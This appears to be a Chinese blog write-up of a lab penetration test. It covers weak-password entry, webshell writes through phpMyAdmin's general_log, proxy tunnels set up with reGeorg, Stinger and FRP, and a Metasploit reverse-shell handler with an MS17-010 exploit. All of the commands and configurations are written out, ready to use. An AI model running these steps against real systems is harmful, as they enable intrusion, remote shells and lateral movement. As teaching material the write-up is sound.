记一次完整的内网渗透过程总结

admin

145738
文章

119
评论

2025年6月30日18:37:12评论18 views字数 2287阅读7分37秒阅读模式

一、环境搭建

本次渗透测试所需环境包含三台服务器，各服务器网络配置如下：

web 端：双网卡配置，外网 IP 为192.168.3.143，内网 IP 为10.10.10.101

pc：内网 IP 为10.10.10.141

DC：内网 IP 为10.10.10.10

二、外网信息收集

（一）端口扫描

对 IP 192.168.3.143 进行端口扫描，初步获取 web 服务开放情况。

（二）目录扫描

使用dirsearch工具进行目录扫描，发现存在phpadmin后台。

（三）弱口令登录

基于扫描得到的管理员路径，尝试使用弱口令登录，成功进入系统，发现文件写入漏洞，进而获取 webshell。

三、内网渗透

（一）内网信息收集

进入内网后，收集 IP 信息，并上传fscan工具进行内网扫描。扫描发现内网存在phpMyadmin。

（二）PhpAdmin 获取 shell

通过未授权写入操作获取 shell，具体路径为C:phpstudy_proExtensionsMySQL5.7.26 。在进行文件写入时，需关注secure_file_priv的值：

当value为 “null” 时，不允许读取任意文件

当value为 “空” 时，允许读取任意文件

value也可设置为其他指定路径

同时，利用general_log和general_log_file特性写入 webshell，操作步骤如下：

开启日志记录：set global general_log = “ON”;

设置日志文件路径：set global general_log_file=‘C:/phpstudy_pro/www/shell1.php’

（三）网段扫描与漏洞发现

扫描另一个网段，发现存在ms17-010漏洞和域机器。

四、代理搭建

（一）工具代理

使用ython reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

使用python neoreg.py -u http://192.168.163.138/www.yxcms6.com/protected/apps/default/view/default/tunnel.php --proxy socks5://10.1.1.1:8888

（二）毒刺代理

windows 服务端：start D:/XXX/stinger_server.exe 0.0.0.0

客户端（vps）：./stinger_client -w http://192.168.163.138/www.yxcms6.com/protected/apps/default/view/default/proxy.php -l 127.0.0.1 -p 60000

（三）哥斯拉内置代理

直接使用哥斯拉内置代理功能。

（四）FRP 代理

VPS 服务端配置

[common]
bind_port = 57000
token = 123qwe    
heartbeat_timeout = 90  
max_pool_count = 5

webshell 客户端配置

[common]
server_addr = 1.1.1.1
server_port = 57000
token = 123qwe
pool_count = 5
protocol = tcp
health_check_type = tcp
health_check_interval_s = 100
[socks_test]
remote_port = 10000  
plugin = socks5
plugin_user = admin
plugin_passwd = password
use_encryption = true
use_compression = true

五、CS 与 MSF 协同渗透

（一）MSF 基础配置

在msfconsole中进行如下配置：

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set lport 6666
run

（二）MSF 代理搭建

将哥斯拉的 shell 转到 msf 上，利用 msf 搭建代理。

（三）永恒之蓝攻击

使用 msf 针对ms17-010漏洞进行攻击，配置如下：

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 4444
set RHOST 192.168.52.141
set SMBUser weizi
set SMBPass HONGRISEC@2019
run